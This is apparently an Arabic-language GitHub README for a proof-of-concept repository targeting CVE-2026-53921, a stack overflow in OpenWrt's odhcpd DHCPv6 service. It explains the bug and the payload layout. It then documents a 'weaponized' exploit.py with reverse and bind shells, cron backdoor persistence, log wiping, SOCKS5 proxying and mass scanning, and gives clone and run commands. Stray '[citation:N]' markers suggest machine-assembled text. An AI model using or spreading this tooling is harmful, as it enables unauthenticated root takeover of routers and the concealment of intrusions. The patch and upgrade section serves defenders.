
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ شرح تفصيلي وشامل للثغرة مع مُتحقِّق واستغلال متعدد لثغرة RCE في DHCPv6 الخاص بـ OpenWrt. تجاوز ثنائي المتجهات (IA_NA/IA_PD) مع شيلكود MIPS/ARM وسلاسل ROP ووكيل SOCKS5 واستمرارية ومسح السجلات ومسح واسع النطاق. استخدمه بأخلاقية، والتزم بالقانون. 🔒

⚠️ لأغراض تعليمية والاختبار المصرح به فقط. الاستخدام غير المصرح به غير قانوني.
CVE-2026-53921 هي ثغرة تجاوز سعة المخزن المؤقت للمكدس حرجة في خدمة odhcpd الخاصة بـ OpenWrt – خادم DHCPv6/DHCPv4/RA الافتراضي.
توجد الثغرة في كود معالجة رسائل DHCPv6 في odhcpd، وتحديداً في الدالتين build_ia() و dhcpv6_ia_handle_IAs().
يحدث الخطأ أثناء التسلسل (التغليف) لحزم رد DHCPv6. عندما يستجيب odhcpd لطلبات العملاء، يقوم ببناء الرد في مخزن مؤقت للمكدس بحجم ثابت يبلغ 512 بايت دون فحص مناسب لحدود الذاكرة.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
يرسل المهاجم طلب DHCPv6 (أو Solicit) يحتوي على:
يستهلك كل خيار مساحة من المكدس أثناء قيام odhcpd ببناء رده. تتجاوز البيانات المتراكمة 512 بايت، مما يسبب التجاوز.
المتجه المشغّل نقطة التجاوز
الموقع 1 5 خيارات IA_NA build_ia() لـ IA_NA
مع عناوين IPv6
build_ia() لـ IA_PDالسبب الجذري متطابق، لكن التجاوز يحدث في مسارات كود مختلفة، مما يجعل كلا المتجهين قابلين للاستغلال بالتساوي.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
يستبدل المهاجم عنوان الإرجاع المحفوظ ليشير إلى كود الشيل الخاص به في الذاكرة.
المتطلب الوصف
الوصول إلى الشبكة يجب أن يكون لدى المهاجم اتصال IPv6 بالهدف
المصادقة لا شيء -- هجوم دون مصادقة
الصلاحيات يعمل odhcpd بصلاحيات الجذر (root)،
لذا فإن RCE تمنح تحكمًا كاملاً في النظام
في استغلال حقيقي، يتم وضع كود الشيل الخاص بالمهاجم في حقول عناوين IPv6 الخاصة بـ IAAddress (16 بايت لكل IA_NA). تقوم الحزم المعدّة بتعبئة كود الشيل، ومنحدر NOP، وعنوان الإرجاع في هذه الحقول.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
الإصدار الحالة هل RCE ممكن؟
odhcpd < e432dd6 قابل للاستغلال ✅ نعم OpenWrt < 24.10.8 قابل للاستغلال ✅ نعم OpenWrt < 25.12.5 قابل للاستغلال ✅ نعم OpenWrt 24.10.8+ مُصحح ❌ لا OpenWrt 25.12.5+ مُصحح ❌ لا odhcpd master + e432dd6 مُصحح ❌ لا
هذه الثغرة خطيرة بشكل خاص للأسباب التالية:
odhcpd مفعل افتراضيًا على تثبيتات OpenWrt.| المكوّن | الإصدارات القابلة للاستغلال | تم الإصلاح في |
|---|---|---|
odhcpd (فرع master) | قبل الالتزام e432dd6 | e432dd6 أو أحدث |
| إصدارات OpenWrt | < 24.10.8 < 25.12.5 |
يوفر هذا المستودع سكربتين مستقلين:
| السكربت | الغرض | كود الاستغلال | الأمان |
|---|---|---|---|
verifier.py | فحص ثغرات غير تدخلي | ❌ لا | ✅ آمن |
exploit.py | استغلال كامل مُسلح | ✅ نعم | ⚠️ خطير |
verifier.py – فاحص الثغراتexploit.py – الاستغلال الكاملIA_NA (Site1) و IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| الوسيط | الوصف |
|---|---|
-u, --target | عنوان IPv6 للهدف (مطلوب) |
-i, --iface | واجهة الشبكة (الافتراضي: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
قم بترقية OpenWrt إلى 24.10.8 أو 25.12.5 أو أحدث.
opkg update
opkg upgrade odhcpd
OpenWrt Security Advisory (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 نشرة تفصيلية تغطي متجهي التجاوز في odhcpd.
CVE-2026-53921 NVD Entry https://nvd.nist.gov/vuln/detail/CVE-2026-53921 إدخال قاعدة بيانات الثغرات الرسمية NIST.
OpenWrt 24.10.8 Release Notes https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 الإعلان الرسمي عن إصدار الفرع 24.10.
OpenWrt 25.12.5 Release Notes https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html الإعلان الرسمي عن إصدار الفرع 25.12.
يعالج إصدارا 24.10.8 و 25.12.5 ثغرات odhcpd متعددة تتجاوز CVE-2026-53921 [citation:9]:
The Hacker News Analysis https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html تفصيل تقني شامل للثغرة ومتجهات استغلالها. [citation:1]
GitHub PoC Repository https://github.com/0xBlackash/CVE-2026-53921 تطبيقات إثبات المفهوم (PoC) العامة وتفاصيل تقنية. [citation:3]
يعالج الإصدار 25.12.5 أيضًا ثغرات في مكونات أساسية أخرى [citation:10]:
OpenWrt Firmware Selector https://firmware-selector.openwrt.org/ حمّل صور البرامج الثابتة المصححة لجهازك.
CISA Known Exploited Vulnerabilities Catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog تحقق مما إذا تمت إضافة CVE-2026-53921 إلى كتالوج KEV (حتى 27 يوليو 2026، غير مُدرجة). [citation:1]
| 24.10.8 و 25.12.5 |
| الوسيط | الوصف |
|---|
-u, --target | عنوان IPv6 للهدف |
-l, --list | ملف يحتوي على قائمة بالأهداف |
-i, --iface | واجهة الشبكة (الافتراضي: eth0) |
--lhost | عنوان IP للمستمع (مطلوب) |
--lport | منفذ المستمع (الافتراضي: 4444) |
--vector | site1 أو site2 أو both (الافتراضي: both) |
--offset | إزاحة المكدس (الافتراضي: 512) |
--ret | عنوان الإرجاع بالنظام الست عشري (مثل: 0x7ffff000) |
--arch | فرض mips أو arm (كشف تلقائي إذا تم حذفه) |
--payload | reverse أو bind (الافتراضي: reverse) |
--encode | none أو xor (الافتراضي: none) |
--proxy-host | عنوان IP لوكيل SOCKS5 |
--proxy-port | منفذ وكيل SOCKS5 (الافتراضي: 1080) |
--persistence | تثبيت باب خلفي عبر cron |
--clear-logs | مسح سجل النظام بعد الاستغلال |
--scan-only | فحص الأهداف فقط دون استغلال |
--threads | عدد الخيوط للفحص (الافتراضي: 5) |
--verbose | تسجيل مفصل (Verbose) |
| CVE ID | الخطورة | الوصف |
|---|
| CVE-2026-53918 | عالية | استخدام بعد التحرير (Use-after-free) في معالج IA الخاص بـ DHCPv6 [citation:4][citation:9] |
| CVE-2026-53920 | عالية | كشف ذاكرة المكدس عبر خيار IA_NA/IA_PD مقطوع في DHCPv6 [citation:9] |
| CVE-2026-53922 | متوسطة | رفض خدمة قبل المصادقة عبر تجاوز حد size_t السفلي (underflow) [citation:9] |
| CVE-2026-55606 | متوسطة | قراءة زائدة من مخزن المكدس بسبب عدم تطابق ترتيب البايتات في طول DUID [citation:9] |
| CVE-2026-62948 | - | حقن اسم مضيف في DHCPv6 يؤدي إلى XSS مخزنة [citation:1] |
| CVE-2026-62947 | - | تجاوز مسار (path traversal) بعد المصادقة في cgi-io [citation:1] |